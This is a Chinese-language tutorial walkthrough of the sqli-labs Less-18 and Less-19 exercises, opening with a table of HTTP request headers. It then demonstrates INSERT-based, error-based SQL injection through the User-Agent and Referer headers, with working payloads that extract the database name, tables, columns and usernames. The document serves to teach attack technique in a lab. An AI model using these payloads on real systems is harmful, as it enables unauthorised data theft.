零、前言
这两次课程都是HTTP Header位置的注入,这里将先介绍一下HTTP Header的基础知识。另外这里的注入是INSERT类型的,INSERT注入可以利用报错注入的方式获取数据。
一、HTTP Header简介
HTTP(HyperTextTransferProtocol)即超文本传输协议,目前网页传输的的通用协议。HTTP协议采用了请求/响应模型,浏览器或其他客户端发出请求,服务器给与响应。就整个网络资源传输而言,包括message-header和message-body两部分。首先传递message- header,即http header消息 。http header 消息通常被分为4个部分:general header, request header, response header,
entity header。但是这种分法就理解而言,感觉界限不太明确。根据维基百科对http header内容的组织形式,大体分为Request和Response两部分。我们所要关注的就是Request部分。
Header |
解释 |
示例 |
Accept |
指定客户端能够接收的内容类型 |
Accept: text/plain, text/html |
Accept-Charset |
浏览器可以接受的字符编码集。 |
Accept-Charset: iso-8859-5 |
Accept-Encoding |
指定浏览器可以支持的web服务器返回内容压缩编码类型。 |
Accept-Encoding: compress, gzip |
Accept-Language |
浏览器可接受的语言 |
Accept-Language: en,zh |
Accept-Ranges |
可以请求网页实体的一个或者多个子范围字段 |
Accept-Ranges: bytes |
Authorization |
HTTP授权的授权证书 |
Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== |
Cache-Control |
指定请求和响应遵循的缓存机制 |
Cache-Control: no-cache |
Connection |
表示是否需要持久连接。(HTTP 1.1默认进行持久连接) |
Connection: close |
Cookie |
HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。 |
Cookie: $Version=1; Skin=new; |
Content-Length |
请求的内容长度 |
Content-Length: 348 |
Content-Type |
请求的与实体对应的MIME信息 |
Content-Type: application/x-www-form-urlencoded |
Date |
请求发送的日期和时间 |
Date: Tue, 15 Nov 2010 08:12:31 GMT |
Expect |
请求的特定的服务器行为 |
Expect: 100-continue |
From |
发出请求的用户的Email |
From: user@email.com |
Host |
指定请求的服务器的域名和端口号 |
Host: www.zcmhi.com |
If-Match |
只有请求内容与实体相匹配才有效 |
If-Match: “737060cd8c284d8af7ad3082f209582d” |
If-Modified-Since |
如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码 |
If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT |
If-None-Match |
如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变 |
If-None-Match: “737060cd8c284d8af7ad3082f209582d” |
If-Range |
如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为Etag |
If-Range: “737060cd8c284d8af7ad3082f209582d” |
If-Unmodified-Since |
只在实体在指定时间之后未被修改才请求成功 |
If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT |
Max-Forwards |
限制信息通过代理和网关传送的时间 |
Max-Forwards: 10 |
Pragma |
用来包含实现特定的指令 |
Pragma: no-cache |
Proxy-Authorization |
连接到代理的授权证书 |
Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== |
Range |
只请求实体的一部分,指定范围 |
Range: bytes=500-999 |
Referer |
先前网页的地址,当前请求网页紧随其后,即来路 |
Refere |
TE |
客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息 |
TE: trailers,deflate;q=0.5 |
Upgrade |
向服务器指定某种传输协议以便服务器进行转换(如果支持) |
Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11 |
User-Agent |
User-Agent的内容包含发出请求的用户信息 |
User-Agent: Mozilla/5.0 (Linux; X11) |
Via |
通知中间网关或代理服务器地址,通信协议 |
Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1) |
Warning |
关于消息实体的警告信息 |
Warn: 199 Miscellaneous warning |
二、Less-18测试
0x01 INSERT语句
INSERT INTO语句
作用:INSERT INTO 语句用于向表格中插入新的行。
语法:INSERT INTO 表名称 VALUES (值1, 值2,….)
例句:
INSERT INTO Persons VALUES (‘Tom’, 12, ‘1999-12’, 'Beijing')
注:VALUES中插入的值也可为逻辑运算的结果
0x02 前端测试
首先随意输入一组用户名密码
uname=1234&passwd=1234&submit=Submit
提示登陆失败,然后使用数据库中存在的账号密码登陆
uname=admin&passwd=admin&submit=Submit
当用户名密码正确时,输出referer头信息。然后测试了username和password是否存在注入,发现不存在注入或者注入很难利用,然后抓包查看服务器获取的User-Agent信息。
在User-Agent位置插入’得出如下错误
MySQL server version for the right syntax to use near '192.168.219.1', 'admin')' at line 1
分析得出后台SQL语句大致为
INSEERT INTO table VALUES(‘User-Agent’,’Ip’,’Username’)
接下来我们尝试在User-Agent的位置进行注入测试,我们修改User-Agnet的值使其符合整个INSERT INTIO 的语法
User-Agent:1’,1,1)#
插入到sql语句相当于下面的语句
INSEERT INTO table VALUES(‘1’,1,1)# ’,’Ip’,’Username’)
那么插入的结果即为’1’ 1 1
可以将其中的1替换为逻辑运算语句,比如
INSEERT INTO table VALUES(‘1’,1,1=0)# ’,’Ip’,’Username’)
那么插入的结果即为’1’ 1 0
因为1=0的运算结果为False,所以返回一个0,这样的或我们可以用法基于错误的逻辑语句,爆出数据库额信息,例如
获取数据库名:
User-Agent: 1',1,(select 1 from (select count(*),(concat("~",database(),"~",floor(rand()*2)))name from information_schema.tables group by name)b))#
获取表名:
User-Agent: 1',1,(select 1 from (select count(*),(concat("~",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b))#
获取字段名:
User-Agent: 1',1,(select 1 from (select count(*),(concat("~",(select column_name from information_schema.columns where table_name='users' limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b))#
获取表中的数据:
User-Agent: 1',1,(select 1 from (select count(*),(concat("~",(select username from users limit 0,1) ,"~",floor(rand()*2)))name from information_schema.tables group by name)b))#
三、Less-19测试
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器以此可以获得一些客户端信息。同理,还是先输入一组随机的用户名密码
uname=123&passwd=123&submit=Submit
提示登陆失败,然后输入一组正确的用户名和密码
uname=admin&passwd=admin&submit=Submit
当用户名密码正确时,输出referer头信息,而且在username和password的位置不存在注入
在Referer位置插入单引号,可以得到如下错误
MySQL server version for the right syntax to use near '192.168.219.1')' at line 1
分析得出后台SQL语句
INSERT INTO table VALUES(‘referer’,’ip’)
我们尝试在Referer的位置进行注入测试,我们修改Referer的值使其符合整个INSERT INTIO 的语法1',1=2)# 将其代入到INSERT语句即为
INSERT INTO table VALUES(‘1',1=2)# ,’ip’)
相当于插入了字符串1和1=2(等于0)的运算结果
接下来尝试在1=2的位置插入基于报错的SQL注入语句
获取数据库名:
Referer:1', (select 1 from (select count(*),(concat("~",database(),"~",floor(rand()*2)))name from information_schema.tables group by name)b)) #
获取表名:
Referer:1', (select 1 from (select count(*),(concat("~",(select table_name from information_schema.tables where table_schema=database() limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b)) #
获取字段名:
Referer:1',(select 1 from (select count(*),(concat("~",(select column_name from information_schema.columns where table_name='users' limit 0,1),"~",floor(rand()*2)))name from information_schema.tables group by name)b))#
获取表数据:
Referer:1',(select 1 from (select count(*),(concat("~",(select username from users limit 0,1),"~", floor(rand()*2)))name from information_schema.tables group by name)b))#-